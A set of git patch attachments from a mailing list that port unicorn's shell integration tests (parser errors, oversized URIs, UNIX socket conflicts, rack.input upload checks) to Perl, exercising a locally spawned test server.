[-- Attachment #6: 0005-port-t0002-parser-error.sh-to-Perl-5.patch --]
[-- Type: text/x-diff, Size: 4875 bytes --]
From 2eb7b1662c291ab535ee5dabf5d96194ca6483d4 Mon Sep 17 00:00:00 2001
From: Eric Wong <BOFH@YHBT.net>
Date: Mon, 5 Jun 2023 10:12:34 +0000
Subject: [PATCH 05/23] port t0002-parser-error.sh to Perl 5
Another socat dependency down...
---
t/integration.t | 33 +++++++++++++++
t/lib.perl | 9 +++-
t/t0002-parser-error.sh | 94 -----------------------------------------
3 files changed, 41 insertions(+), 95 deletions(-)
delete mode 100755 t/t0002-parser-error.sh
diff --git a/t/integration.t b/t/integration.t
index ee22e7e..503b7eb 100644
--- a/t/integration.t
+++ b/t/integration.t
@@ -85,6 +85,39 @@ SKIP: {
is($res->{content}, 'Goodbye', 'write-on-close body read');
}
+if ('bad requests') {
+ $c = start_req($srv, 'GET /env_dump HTTP/1/1');
+ ($status, $hdr) = slurp_hdr($c);
+ like($status, qr!\AHTTP/1\.[01] 400 \b!, 'got 400 on bad request');
+
+ $c = tcp_connect($srv);
+ print $c 'GET /' or die $!;
+ my $buf = join('', (0..9), 'ab');
+ for (0..1023) { print $c $buf or die $! }
+ print $c " HTTP/1.0\r\n\r\n" or die $!;
+ ($status, $hdr) = slurp_hdr($c);
+ like($status, qr!\AHTTP/1\.[01] 414 \b!,
+ '414 on REQUEST_PATH > (12 * 1024)');
+
+ $c = tcp_connect($srv);
+ print $c 'GET /hello-world?a' or die $!;
+ $buf = join('', (0..9));
+ for (0..1023) { print $c $buf or die $! }
+ print $c " HTTP/1.0\r\n\r\n" or die $!;
+ ($status, $hdr) = slurp_hdr($c);
+ like($status, qr!\AHTTP/1\.[01] 414 \b!,
+ '414 on QUERY_STRING > (10 * 1024)');
+
+ $c = tcp_connect($srv);
+ print $c 'GET /hello-world#a' or die $!;
+ $buf = join('', (0..9), 'a'..'f');
+ for (0..63) { print $c $buf or die $! }
+ print $c " HTTP/1.0\r\n\r\n" or die $!;
+ ($status, $hdr) = slurp_hdr($c);
+ like($status, qr!\AHTTP/1\.[01] 414 \b!, '414 on FRAGMENT > (1024)');
+}
+
+
# ... more stuff here
undef $ar;
my @log = slurp("$tmpdir/err.log");
diff --git a/t/lib.perl b/t/lib.perl
index 12deaf8..7d712b5 100644
--- a/t/lib.perl
+++ b/t/lib.perl
@@ -10,7 +10,7 @@ use POSIX qw(dup2 _exit setpgid :signal_h SEEK_SET F_SETFD);
use File::Temp 0.19 (); # 0.19 for ->newdir
our ($tmpdir, $errfh);
our @EXPORT = qw(unicorn slurp tcp_server tcp_connect unicorn $tmpdir $errfh
- SEEK_SET tcp_host_port);
+ SEEK_SET tcp_host_port start_req);
my ($base) = ($0 =~ m!\b([^/]+)\.[^\.]+\z!);
$tmpdir = File::Temp->newdir("unicorn-$base-XXXX", TMPDIR => 1);
@@ -59,6 +59,13 @@ sub tcp_connect {
$s;
}
+sub start_req {
+ my ($srv, @req) = @_;
+ my $c = tcp_connect($srv);
+ print $c @req, "\r\n\r\n" or die "print: $!";
+ $c;
+}
+
sub slurp {
open my $fh, '<', $_[0] or die "open($_[0]): $!";
local $/;
diff --git a/t/t0002-parser-error.sh b/t/t0002-parser-error.sh
deleted file mode 100755
index 9dc1cd2..0000000
--- a/t/t0002-parser-error.sh
+++ /dev/null
@@ -1,94 +0,0 @@
-#!/bin/sh
-. ./test-lib.sh
-t_plan 11 "parser error test"
-
-t_begin "setup and startup" && {
- unicorn_setup
- unicorn -D env.ru -c $unicorn_config
- unicorn_wait_start
-}
-
-t_begin "send a bad request" && {
- (
- printf 'GET / HTTP/1/1\r\nHost: example.com\r\n\r\n'
- cat $fifo > $tmp &
- wait
- echo ok > $ok
- ) | socat - TCP:$listen > $fifo
- test xok = x$(cat $ok)
-}
-
-dbgcat tmp
-
-t_begin "response should be a 400" && {
- grep -F 'HTTP/1.1 400 Bad Request' $tmp
-}
-
-t_begin "send a huge Request URI (REQUEST_PATH > (12 * 1024))" && {
- rm -f $tmp
- cat $fifo > $tmp &
- (
- set -e
- trap 'echo ok > $ok' EXIT
- printf 'GET /'
- for i in $(awk </dev/null 'BEGIN{for(i=0;i<1024;i++) print i}')
- do
- printf '0123456789ab'
- done
- printf ' HTTP/1.1\r\nHost: example.com\r\n\r\n'
- ) | socat - TCP:$listen > $fifo || :
- test xok = x$(cat $ok)
- wait
-}
-
-t_begin "response should be a 414 (REQUEST_PATH)" && {
- grep -F 'HTTP/1.1 414 ' $tmp
-}
-
-t_begin "send a huge Request URI (QUERY_STRING > (10 * 1024))" && {
- rm -f $tmp
- cat $fifo > $tmp &
- (
- set -e
- trap 'echo ok > $ok' EXIT
- printf 'GET /hello-world?a'
- for i in $(awk </dev/null 'BEGIN{for(i=0;i<1024;i++) print i}')
- do
- printf '0123456789'
- done
- printf ' HTTP/1.1\r\nHost: example.com\r\n\r\n'
- ) | socat - TCP:$listen > $fifo || :
- test xok = x$(cat $ok)
- wait
-}
-
-t_begin "response should be a 414 (QUERY_STRING)" && {
- grep -F 'HTTP/1.1 414 ' $tmp
-}
-
-t_begin "send a huge Request URI (FRAGMENT > 1024)" && {
- rm -f $tmp
- cat $fifo > $tmp &
- (
- set -e
- trap 'echo ok > $ok' EXIT
- printf 'GET /hello-world#a'
- for i in $(awk </dev/null 'BEGIN{for(i=0;i<64;i++) print i}')
- do
- printf '0123456789abcdef'
- done
- printf ' HTTP/1.1\r\nHost: example.com\r\n\r\n'
- ) | socat - TCP:$listen > $fifo || :
- test xok = x$(cat $ok)
- wait
-}
-
-t_begin "response should be a 414 (FRAGMENT)" && {
- grep -F 'HTTP/1.1 414 ' $tmp
-}
-
-t_begin "server stderr should be clean" && check_stderr
-
-t_begin "term signal sent" && kill $unicorn_pid
-
-t_done
[-- Attachment #7: 0006-t-integration.t-use-start_req-to-simplify-test-sligh.patch --]
[-- Type: text/x-diff, Size: 2556 bytes --]
From 0bb06cc0c8c4f5b76514858067bbb2871dda0d6e Mon Sep 17 00:00:00 2001
From: Eric Wong <BOFH@YHBT.net>
Date: Mon, 5 Jun 2023 10:12:35 +0000
Subject: [PATCH 06/23] t/integration.t: use start_req to simplify test slighly
Less code is usually better.
---
t/integration.t | 18 ++++++------------
1 file changed, 6 insertions(+), 12 deletions(-)
diff --git a/t/integration.t b/t/integration.t
index 503b7eb..b7ba1fb 100644
--- a/t/integration.t
+++ b/t/integration.t
@@ -20,8 +20,7 @@ sub slurp_hdr {
my ($c, $status, $hdr);
# response header tests
-$c = tcp_connect($srv);
-print $c "GET /rack-2-newline-headers HTTP/1.0\r\n\r\n" or die $!;
+$c = start_req($srv, 'GET /rack-2-newline-headers HTTP/1.0');
($status, $hdr) = slurp_hdr($c);
like($status, qr!\AHTTP/1\.[01] 200\b!, 'status line valid');
my $orig_200_status = $status;
@@ -40,8 +39,7 @@ SKIP: { # Date header check
};
-$c = tcp_connect($srv);
-print $c "GET /rack-3-array-headers HTTP/1.0\r\n\r\n" or die $!;
+$c = start_req($srv, 'GET /rack-3-array-headers HTTP/1.0');
($status, $hdr) = slurp_hdr($c);
is_deeply([ grep(/^x-r3: /, @$hdr) ],
[ 'x-r3: a', 'x-r3: b', 'x-r3: c' ],
@@ -49,8 +47,7 @@ is_deeply([ grep(/^x-r3: /, @$hdr) ],
SKIP: {
eval { require JSON::PP } or skip "JSON::PP missing: $@", 1;
- $c = tcp_connect($srv);
- print $c "GET /env_dump\r\n" or die $!;
+ my $c = start_req($srv, 'GET /env_dump');
my $json = do { local $/; readline($c) };
unlike($json, qr/^Connection: /smi, 'no connection header for 0.9');
unlike($json, qr!\AHTTP/!s, 'no HTTP/1.x prefix for 0.9');
@@ -60,20 +57,17 @@ SKIP: {
}
# cf. <CAO47=rJa=zRcLn_Xm4v2cHPr6c0UswaFC_omYFEH+baSxHOWKQ@mail.gmail.com>
-$c = tcp_connect($srv);
-print $c "GET /nil-header-value HTTP/1.0\r\n\r\n" or die $!;
+$c = start_req($srv, 'GET /nil-header-value HTTP/1.0');
($status, $hdr) = slurp_hdr($c);
is_deeply([grep(/^X-Nil:/, @$hdr)], ['X-Nil: '],
'nil header value accepted for broken apps') or diag(explain($hdr));
if ('TODO: ensure Rack::Utils::HTTP_STATUS_CODES is available') {
- $c = tcp_connect($srv);
- print $c "POST /tweak-status-code HTTP/1.0\r\n\r\n" or die $!;
+ $c = start_req($srv, 'POST /tweak-status-code HTTP/1.0');
($status, $hdr) = slurp_hdr($c);
like($status, qr!\AHTTP/1\.[01] 200 HI\b!, 'status tweaked');
- $c = tcp_connect($srv);
- print $c "POST /restore-status-code HTTP/1.0\r\n\r\n" or die $!;
+ $c = start_req($srv, 'POST /restore-status-code HTTP/1.0');
($status, $hdr) = slurp_hdr($c);
is($status, $orig_200_status, 'original status restored');
}
[-- Attachment #8: 0007-port-t0011-active-unix-socket.sh-to-Perl-5.patch --]
[-- Type: text/x-diff, Size: 6945 bytes --]
From 10c83beaca58df8b92d8228e798559069cd89beb Mon Sep 17 00:00:00 2001
From: Eric Wong <BOFH@YHBT.net>
Date: Mon, 5 Jun 2023 10:12:36 +0000
Subject: [PATCH 07/23] port t0011-active-unix-socket.sh to Perl 5
Another socat dependency down... I've also started turning
FD_CLOEXEC off on a pipe as a mechanism to detect daemonized
process death in tests.
---
t/active-unix-socket.t | 117 ++++++++++++++++++++++++++++++++++
t/integration.ru | 1 +
t/t0011-active-unix-socket.sh | 79 -----------------------
3 files changed, 118 insertions(+), 79 deletions(-)
create mode 100644 t/active-unix-socket.t
delete mode 100755 t/t0011-active-unix-socket.sh
diff --git a/t/active-unix-socket.t b/t/active-unix-socket.t
new file mode 100644
index 0000000..6b5c218
--- /dev/null
+++ b/t/active-unix-socket.t
@@ -0,0 +1,117 @@
+#!perl -w
+# Copyright (C) unicorn hackers <unicorn-public@yhbt.net>
+# License: GPL-3.0+ <https://www.gnu.org/licenses/gpl-3.0.txt>
+
+use v5.14; BEGIN { require './t/lib.perl' };
+use IO::Socket::UNIX;
+my %to_kill;
+END { kill('TERM', values(%to_kill)) if keys %to_kill }
+my $u1 = "$tmpdir/u1.sock";
+my $u2 = "$tmpdir/u2.sock";
+my $unix_req = sub {
+ my $s = IO::Socket::UNIX->new(Peer => shift, Type => SOCK_STREAM);
+ print $s @_, "\r\n\r\n" or die $!;
+ $s;
+};
+{
+ use autodie;
+ open my $fh, '>', "$tmpdir/u1.conf.rb";
+ print $fh <<EOM;
+pid "$tmpdir/u.pid"
+listen "$u1"
+stderr_path "$tmpdir/err1.log"
+EOM
+ close $fh;
+
+ open $fh, '>', "$tmpdir/u2.conf.rb";
+ print $fh <<EOM;
+pid "$tmpdir/u.pid"
+listen "$u2"
+stderr_path "$tmpdir/err2.log"
+EOM
+ close $fh;
+
+ open $fh, '>', "$tmpdir/u3.conf.rb";
+ print $fh <<EOM;
+pid "$tmpdir/u3.pid"
+listen "$u1"
+stderr_path "$tmpdir/err3.log"
+EOM
+ close $fh;
+}
+
+my @uarg = qw(-D -E none t/integration.ru);
+
+# this pipe will be used to notify us when all daemons die:
+pipe(my ($p0, $p1)) or die "pipe: $!";
+fcntl($p1, POSIX::F_SETFD, 0) or die "fcntl: $!"; # clear FD_CLOEXEC
+
+# start the first instance
+unicorn('-c', "$tmpdir/u1.conf.rb", @uarg)->join;
+is($?, 0, 'daemonized 1st process');
+chomp($to_kill{u1} = slurp("$tmpdir/u.pid"));
+like($to_kill{u1}, qr/\A\d+\z/s, 'read pid file');
+
+chomp(my $worker_pid = readline($unix_req->($u1, 'GET /pid')));
+like($worker_pid, qr/\A\d+\z/s, 'captured worker pid');
+ok(kill(0, $worker_pid), 'worker is kill-able');
+
+
+# 2nd process conflicts on PID
+unicorn('-c', "$tmpdir/u2.conf.rb", @uarg)->join;
+isnt($?, 0, 'conflicting PID file fails to start');
+
+chomp(my $pidf = slurp("$tmpdir/u.pid"));
+is($pidf, $to_kill{u1}, 'pid file contents unchanged after start failure');
+
+chomp(my $pid2 = readline($unix_req->($u1, 'GET /pid')));
+is($worker_pid, $pid2, 'worker PID unchanged');
+
+
+# 3rd process conflicts on socket
+unicorn('-c', "$tmpdir/u3.conf.rb", @uarg)->join;
+isnt($?, 0, 'conflicting UNIX socket fails to start');
+
+chomp($pid2 = readline($unix_req->($u1, 'GET /pid')));
+is($worker_pid, $pid2, 'worker PID still unchanged');
+
+chomp($pidf = slurp("$tmpdir/u.pid"));
+is($pidf, $to_kill{u1}, 'pid file contents unchanged after 2nd start failure');
+
+{ # teardown initial process via SIGKILL
+ ok(kill('KILL', delete $to_kill{u1}), 'SIGKILL initial daemon');
+ close $p1;
+ vec(my $rvec = '', fileno($p0), 1) = 1;
+ is(select($rvec, undef, undef, 5), 1, 'timeout for pipe HUP');
+ is(my $undef = <$p0>, undef, 'process closed pipe writer at exit');
+ ok(-f "$tmpdir/u.pid", 'pid file stayed after SIGKILL');
+ ok(-S $u1, 'socket stayed after SIGKILL');
+ is(IO::Socket::UNIX->new(Peer => $u1, Type => SOCK_STREAM), undef,
+ 'fail to connect to u1');
+ ok(!kill(0, $worker_pid), 'worker gone after parent dies');
+}
+
+# restart the first instance
+{
+ pipe(($p0, $p1)) or die "pipe: $!";
+ fcntl($p1, POSIX::F_SETFD, 0) or die "fcntl: $!"; # clear FD_CLOEXEC
+ unicorn('-c', "$tmpdir/u1.conf.rb", @uarg)->join;
+ is($?, 0, 'daemonized 1st process');
+ chomp($to_kill{u1} = slurp("$tmpdir/u.pid"));
+ like($to_kill{u1}, qr/\A\d+\z/s, 'read pid file');
+
+ chomp($pid2 = readline($unix_req->($u1, 'GET /pid')));
+ like($pid2, qr/\A\d+\z/, 'worker running');
+
+ ok(kill('TERM', delete $to_kill{u1}), 'SIGTERM restarted daemon');
+ close $p1;
+ vec(my $rvec = '', fileno($p0), 1) = 1;
+ is(select($rvec, undef, undef, 5), 1, 'timeout for pipe HUP');
+ is(my $undef = <$p0>, undef, 'process closed pipe writer at exit');
+ ok(!-f "$tmpdir/u.pid", 'pid file gone after SIGTERM');
+ ok(-S $u1, 'socket stays after SIGTERM');
+}
+
+my @log = slurp("$tmpdir/err.log");
+diag("@log") if $ENV{V};
+done_testing;
diff --git a/t/integration.ru b/t/integration.ru
index c0bef99..21f5449 100644
--- a/t/integration.ru
+++ b/t/integration.ru
@@ -57,6 +57,7 @@ def env_dump(env)
when '/unknown-status-pass-through'; [ '666 I AM THE BEAST', {}, [] ]
when '/env_dump'; [ 200, {}, [ env_dump(env) ] ]
when '/write_on_close'; write_on_close
+ when '/pid'; [ 200, {}, [ "#$$\n" ] ]
end # case PATH_INFO (GET)
when 'POST'
case env['PATH_INFO']
diff --git a/t/t0011-active-unix-socket.sh b/t/t0011-active-unix-socket.sh
deleted file mode 100755
index fae0b6c..0000000
--- a/t/t0011-active-unix-socket.sh
+++ /dev/null
@@ -1,79 +0,0 @@
-#!/bin/sh
-. ./test-lib.sh
-t_plan 11 "existing UNIX domain socket check"
-
-read_pid_unix () {
- x=$(printf 'GET / HTTP/1.0\r\n\r\n' | \
- socat - UNIX:$unix_socket | \
- tail -1)
- test -n "$x"
- y="$(expr "$x" : '\([0-9][0-9]*\)')"
- test x"$x" = x"$y"
- test -n "$y"
- echo "$y"
-}
-
-t_begin "setup and start" && {
- rtmpfiles unix_socket unix_config
- rm -f $unix_socket
- unicorn_setup
- grep -v ^listen < $unicorn_config > $unix_config
- echo "listen '$unix_socket'" >> $unix_config
- unicorn -D -c $unix_config pid.ru
- unicorn_wait_start
- orig_master_pid=$unicorn_pid
-}
-
-t_begin "get pid of worker" && {
- worker_pid=$(read_pid_unix)
- t_info "worker_pid=$worker_pid"
-}
-
-t_begin "fails to start with existing pid file" && {
- rm -f $ok
- unicorn -D -c $unix_config pid.ru || echo ok > $ok
- test x"$(cat $ok)" = xok
-}
-
-t_begin "worker pid unchanged" && {
- test x"$(read_pid_unix)" = x$worker_pid
- > $r_err
-}
-
-t_begin "fails to start with listening UNIX domain socket bound" && {
- rm $ok $pid
- unicorn -D -c $unix_config pid.ru || echo ok > $ok
- test x"$(cat $ok)" = xok
- > $r_err
-}
-
-t_begin "worker pid unchanged (again)" && {
- test x"$(read_pid_unix)" = x$worker_pid
-}
-
-t_begin "nuking the existing Unicorn succeeds" && {
- kill -9 $unicorn_pid
- while kill -0 $unicorn_pid
- do
- sleep 1
- done
- check_stderr
-}
-
-t_begin "succeeds in starting with leftover UNIX domain socket bound" && {
- test -S $unix_socket
- unicorn -D -c $unix_config pid.ru
- unicorn_wait_start
-}
-
-t_begin "worker pid changed" && {
- test x"$(read_pid_unix)" != x$worker_pid
-}
-
-t_begin "killing succeeds" && {
- kill $unicorn_pid
-}
-
-t_begin "no errors" && check_stderr
-
-t_done
[-- Attachment #9: 0008-port-t0100-rack-input-tests.sh-to-Perl-5.patch --]
[-- Type: text/x-diff, Size: 11722 bytes --]
From b4ed148186295f2d5c8448eab7f2b201615d1e4e Mon Sep 17 00:00:00 2001
From: Eric Wong <BOFH@YHBT.net>
Date: Mon, 5 Jun 2023 10:12:37 +0000
Subject: [PATCH 08/23] port t0100-rack-input-tests.sh to Perl 5
Yet another socat dependency gone \o/
---
t/bin/content-md5-put | 36 -----------
t/integration.ru | 27 +++++++-
t/integration.t | 97 +++++++++++++++++++++++++++-
t/lib.perl | 3 +-
t/rack-input-tests.ru | 21 ------
t/t0100-rack-input-tests.sh | 124 ------------------------------------
6 files changed, 124 insertions(+), 184 deletions(-)
delete mode 100755 t/bin/content-md5-put
delete mode 100644 t/rack-input-tests.ru
delete mode 100755 t/t0100-rack-input-tests.sh
diff --git a/t/bin/content-md5-put b/t/bin/content-md5-put
deleted file mode 100755
index 01da0bb..0000000
--- a/t/bin/content-md5-put
+++ /dev/null
@@ -1,36 +0,0 @@
-#!/usr/bin/env ruby
-# -*- encoding: binary -*-
-# simple chunked HTTP PUT request generator (and just that),
-# it reads stdin and writes to stdout so socat can write to a
-# UNIX or TCP socket (or to another filter or file) along with
-# a Content-MD5 trailer.
-require 'digest/md5'
-$stdout.sync = $stderr.sync = true
-$stdout.binmode
-$stdin.binmode
-
-bs = ENV['bs'] ? ENV['bs'].to_i : 4096
-
-if ARGV.grep("--no-headers").empty?
- $stdout.write(
- "PUT / HTTP/1.1\r\n" \
- "Host: example.com\r\n" \
- "Transfer-Encoding: chunked\r\n" \
- "Trailer: Content-MD5\r\n" \
- "\r\n"
- )
-end
-
-digest = Digest::MD5.new
-if buf = $stdin.readpartial(bs)
- begin
- digest.update(buf)
- $stdout.write("%x\r\n" % [ buf.size ])
- $stdout.write(buf)
- $stdout.write("\r\n")
- end while $stdin.read(bs, buf)
-end
-
-digest = [ digest.digest ].pack('m').strip
-$stdout.write("0\r\n")
-$stdout.write("Content-MD5: #{digest}\r\n\r\n")
diff --git a/t/integration.ru b/t/integration.ru
index 21f5449..98528f6 100644
--- a/t/integration.ru
+++ b/t/integration.ru
@@ -47,6 +47,29 @@ def env_dump(env)
h.to_json
end
+def rack_input_tests(env)
+ return [ 100, {}, [] ] if /\A100-continue\z/i =~ env['HTTP_EXPECT']
+ cap = 16384
+ require 'digest/sha1'
+ digest = Digest::SHA1.new
+ input = env['rack.input']
+ case env['PATH_INFO']
+ when '/rack_input/size_first'; input.size
+ when '/rack_input/rewind_first'; input.rewind
+ when '/rack_input'; # OK
+ else
+ abort "bad path: #{env['PATH_INFO']}"
+ end
+ if buf = input.read(rand(cap))
+ begin
+ raise "#{buf.size} > #{cap}" if buf.size > cap
+ digest.update(buf)
+ end while input.read(rand(cap), buf)
+ end
+ [ 200, {'content-length' => '40', 'content-type' => 'text/plain'},
+ [ digest.hexdigest ] ]
+end
+
run(lambda do |env|
case env['REQUEST_METHOD']
when 'GET'
@@ -66,6 +89,8 @@ def env_dump(env)
end # case PATH_INFO (POST)
# ...
when 'PUT'
- # ...
+ case env['PATH_INFO']
+ when %r{\A/rack_input}; rack_input_tests(env)
+ end
end # case REQUEST_METHOD
end) # run
diff --git a/t/integration.t b/t/integration.t
index b7ba1fb..8cef561 100644
--- a/t/integration.t
+++ b/t/integration.t
@@ -1,13 +1,16 @@
#!perl -w
# Copyright (C) unicorn hackers <unicorn-public@yhbt.net>
# License: GPL-3.0+ <https://www.gnu.org/licenses/gpl-3.0.txt>
+# this is the main integration test for things which don't require
+# restarting or signals
use v5.14; BEGIN { require './t/lib.perl' };
my $srv = tcp_server();
my $host_port = tcp_host_port($srv);
my $t0 = time;
my $ar = unicorn(qw(-E none t/integration.ru), { 3 => $srv });
-
+my $curl = which('curl');
+END { diag slurp("$tmpdir/err.log") if $tmpdir };
sub slurp_hdr {
my ($c) = @_;
local $/ = "\r\n\r\n"; # affects both readline+chomp
@@ -17,6 +20,48 @@ sub slurp_hdr {
($status, \@hdr);
}
+my %PUT = (
+ chunked_md5 => sub {
+ my ($in, $out, $path, %opt) = @_;
+ my $bs = $opt{bs} // 16384;
+ require Digest::MD5;
+ my $dig = Digest::MD5->new;
+ print $out <<EOM;
+PUT $path HTTP/1.1\r
+Transfer-Encoding: chunked\r
+Trailer: Content-MD5\r
+\r
+EOM
+ my ($buf, $r);
+ while (1) {
+ $r = read($in, $buf, $bs) // die "read: $!";
+ last if $r == 0;
+ printf $out "%x\r\n", length($buf);
+ print $out $buf, "\r\n";
+ $dig->add($buf);
+ }
+ print $out "0\r\nContent-MD5: ", $dig->b64digest, "\r\n\r\n";
+ },
+ identity => sub {
+ my ($in, $out, $path, %opt) = @_;
+ my $bs = $opt{bs} // 16384;
+ my $clen = $opt{-s} // -s $in;
+ print $out <<EOM;
+PUT $path HTTP/1.0\r
+Content-Length: $clen\r
+\r
+EOM
+ my ($buf, $r, $len);
+ while ($clen) {
+ $len = $clen > $bs ? $bs : $clen;
+ $r = read($in, $buf, $len) // die "read: $!";
+ die 'premature EOF' if $r == 0;
+ print $out $buf;
+ $clen -= $r;
+ }
+ },
+);
+
my ($c, $status, $hdr);
# response header tests
@@ -111,6 +156,55 @@ if ('bad requests') {
like($status, qr!\AHTTP/1\.[01] 414 \b!, '414 on FRAGMENT > (1024)');
}
+# input tests
+my ($blob_size, $blob_hash);
+SKIP: {
+ open(my $rh, '<', 't/random_blob') or
+ skip "t/random_blob not generated $!", 1;
+ $blob_size = -s $rh;
+ require Digest::SHA;
+ $blob_hash = Digest::SHA->new(1)->addfile($rh)->hexdigest;
+
+ my $ck_hash = sub {
+ my ($sub, $path, %opt) = @_;
+ seek($rh, 0, SEEK_SET) // die "seek: $!";
+ $c = tcp_connect($srv);
+ $c->autoflush(0);
+ $PUT{$sub}->($rh, $c, $path, %opt);
+ $c->flush or die "flush: $!";
+ ($status, $hdr) = slurp_hdr($c);
+ is(readline($c), $blob_hash, "$sub $path");
+ };
+ $ck_hash->('identity', '/rack_input', -s => $blob_size);
+ $ck_hash->('chunked_md5', '/rack_input');
+ $ck_hash->('identity', '/rack_input/size_first', -s => $blob_size);
+ $ck_hash->('identity', '/rack_input/rewind_first', -s => $blob_size);
+ $ck_hash->('chunked_md5', '/rack_input/size_first');
+ $ck_hash->('chunked_md5', '/rack_input/rewind_first');
+
+
+ $curl // skip 'no curl found in PATH', 1;
+
+ my ($copt, $cout);
+ my $url = "http://$host_port/rack_input";
+ my $do_curl = sub {
+ my (@arg) = @_;
+ pipe(my $cout, $copt->{1}) or die "pipe: $!";
+ open $copt->{2}, '>', "$tmpdir/curl.err" or die $!;
+ my $cpid = spawn($curl, '-sSf', @arg, $url, $copt);
+ close(delete $copt->{1}) or die "close: $!";
+ is(readline($cout), $blob_hash, "curl @arg response");
+ is(waitpid($cpid, 0), $cpid, "curl @arg exited");
+ is($?, 0, "no error from curl @arg");
+ is(slurp("$tmpdir/curl.err"), '', "no stderr from curl @arg");
+ };
+
+ $do_curl->(qw(-T t/random_blob));
+
+ seek($rh, 0, SEEK_SET) // die "seek: $!";
+ $copt->{0} = $rh;
+ $do_curl->('-T-');
+}
# ... more stuff here
undef $ar;
@@ -120,4 +214,5 @@ my @err = grep(!/NameError.*Unicorn::Waiter/, grep(/error/i, @log));
is_deeply(\@err, [], 'no unexpected errors in stderr');
is_deeply([grep(/SIGKILL/, @log)], [], 'no SIGKILL in stderr');
+undef $tmpdir;
done_testing;
diff --git a/t/lib.perl b/t/lib.perl
index 7d712b5..ae9f197 100644
--- a/t/lib.perl
+++ b/t/lib.perl
@@ -10,7 +10,7 @@ use POSIX qw(dup2 _exit setpgid :signal_h SEEK_SET F_SETFD);
use File::Temp 0.19 (); # 0.19 for ->newdir
our ($tmpdir, $errfh);
our @EXPORT = qw(unicorn slurp tcp_server tcp_connect unicorn $tmpdir $errfh
- SEEK_SET tcp_host_port start_req);
+ SEEK_SET tcp_host_port start_req which spawn);
my ($base) = ($0 =~ m!\b([^/]+)\.[^\.]+\z!);
$tmpdir = File::Temp->newdir("unicorn-$base-XXXX", TMPDIR => 1);
@@ -193,4 +193,5 @@ Test::More->import;
# try to ensure ->DESTROY fires:
$SIG{TERM} = sub { exit(15 + 128) };
$SIG{INT} = sub { exit(2 + 128) };
+$SIG{PIPE} = sub { exit(13 + 128) };
1;
diff --git a/t/rack-input-tests.ru b/t/rack-input-tests.ru
deleted file mode 100644
index 5459e85..0000000
--- a/t/rack-input-tests.ru
+++ /dev/null
@@ -1,21 +0,0 @@
-# SHA1 checksum generator
-require 'digest/sha1'
-use Rack::ContentLength
-cap = 16384
-app = lambda do |env|
- /\A100-continue\z/i =~ env['HTTP_EXPECT'] and
- return [ 100, {}, [] ]
- digest = Digest::SHA1.new
- input = env['rack.input']
- input.size if env["PATH_INFO"] == "/size_first"
- input.rewind if env["PATH_INFO"] == "/rewind_first"
- if buf = input.read(rand(cap))
- begin
- raise "#{buf.size} > #{cap}" if buf.size > cap
- digest.update(buf)
- end while input.read(rand(cap), buf)
- end
-
- [ 200, {'content-type' => 'text/plain'}, [ digest.hexdigest << "\n" ] ]
-end
-run app
diff --git a/t/t0100-rack-input-tests.sh b/t/t0100-rack-input-tests.sh
deleted file mode 100755
index ee7a437..0000000
--- a/t/t0100-rack-input-tests.sh
+++ /dev/null
@@ -1,124 +0,0 @@
-#!/bin/sh
-. ./test-lib.sh
-test -r random_blob || die "random_blob required, run with 'make $0'"
-
-t_plan 10 "rack.input read tests"
-
-t_begin "setup and startup" && {
- rtmpfiles curl_out curl_err
- unicorn_setup
- unicorn -E none -D rack-input-tests.ru -c $unicorn_config
- blob_sha1=$(rsha1 < random_blob)
- blob_size=$(count_bytes < random_blob)
- t_info "blob_sha1=$blob_sha1"
- unicorn_wait_start
-}
-
-t_begin "corked identity request" && {
- rm -f $tmp
- (
- cat $fifo > $tmp &
- printf 'PUT / HTTP/1.0\r\n'
- printf 'Content-Length: %d\r\n\r\n' $blob_size
- cat random_blob
- wait
- echo ok > $ok
- ) | ( sleep 1 && socat - TCP4:$listen > $fifo )
- test 1 -eq $(grep $blob_sha1 $tmp |count_lines)
- test x"$(cat $ok)" = xok
-}
-
-t_begin "corked chunked request" && {
- rm -f $tmp
- (
- cat $fifo > $tmp &
- content-md5-put < random_blob
- wait
- echo ok > $ok
- ) | ( sleep 1 && socat - TCP4:$listen > $fifo )
- test 1 -eq $(grep $blob_sha1 $tmp |count_lines)
- test x"$(cat $ok)" = xok
-}
-
-t_begin "corked identity request (input#size first)" && {
- rm -f $tmp
- (
- cat $fifo > $tmp &
- printf 'PUT /size_first HTTP/1.0\r\n'
- printf 'Content-Length: %d\r\n\r\n' $blob_size
- cat random_blob
- wait
- echo ok > $ok
- ) | ( sleep 1 && socat - TCP4:$listen > $fifo )
- test 1 -eq $(grep $blob_sha1 $tmp |count_lines)
- test x"$(cat $ok)" = xok
-}
-
-t_begin "corked identity request (input#rewind first)" && {
- rm -f $tmp
- (
- cat $fifo > $tmp &
- printf 'PUT /rewind_first HTTP/1.0\r\n'
- printf 'Content-Length: %d\r\n\r\n' $blob_size
- cat random_blob
- wait
- echo ok > $ok
- ) | ( sleep 1 && socat - TCP4:$listen > $fifo )
- test 1 -eq $(grep $blob_sha1 $tmp |count_lines)
- test x"$(cat $ok)" = xok
-}
-
-t_begin "corked chunked request (input#size first)" && {
- rm -f $tmp
- (
- cat $fifo > $tmp &
- printf 'PUT /size_first HTTP/1.1\r\n'
- printf 'Host: example.com\r\n'
- printf 'Transfer-Encoding: chunked\r\n'
- printf 'Trailer: Content-MD5\r\n'
- printf '\r\n'
- content-md5-put --no-headers < random_blob
- wait
- echo ok > $ok
- ) | ( sleep 1 && socat - TCP4:$listen > $fifo )
- test 1 -eq $(grep $blob_sha1 $tmp |count_lines)
- test 1 -eq $(grep $blob_sha1 $tmp |count_lines)
- test x"$(cat $ok)" = xok
-}
-
-t_begin "corked chunked request (input#rewind first)" && {
- rm -f $tmp
- (
- cat $fifo > $tmp &
- printf 'PUT /rewind_first HTTP/1.1\r\n'
- printf 'Host: example.com\r\n'
- printf 'Transfer-Encoding: chunked\r\n'
- printf 'Trailer: Content-MD5\r\n'
- printf '\r\n'
- content-md5-put --no-headers < random_blob
- wait
- echo ok > $ok
- ) | ( sleep 1 && socat - TCP4:$listen > $fifo )
- test 1 -eq $(grep $blob_sha1 $tmp |count_lines)
- test x"$(cat $ok)" = xok
-}
-
-t_begin "regular request" && {
- curl -sSf -T random_blob http://$listen/ > $curl_out 2> $curl_err
- test x$blob_sha1 = x$(cat $curl_out)
- test ! -s $curl_err
-}
-
-t_begin "chunked request" && {
- curl -sSf -T- < random_blob http://$listen/ > $curl_out 2> $curl_err
- test x$blob_sha1 = x$(cat $curl_out)
- test ! -s $curl_err
-}
-
-dbgcat r_err
-
-t_begin "shutdown" && {
- kill $unicorn_pid
-}
-
-t_done
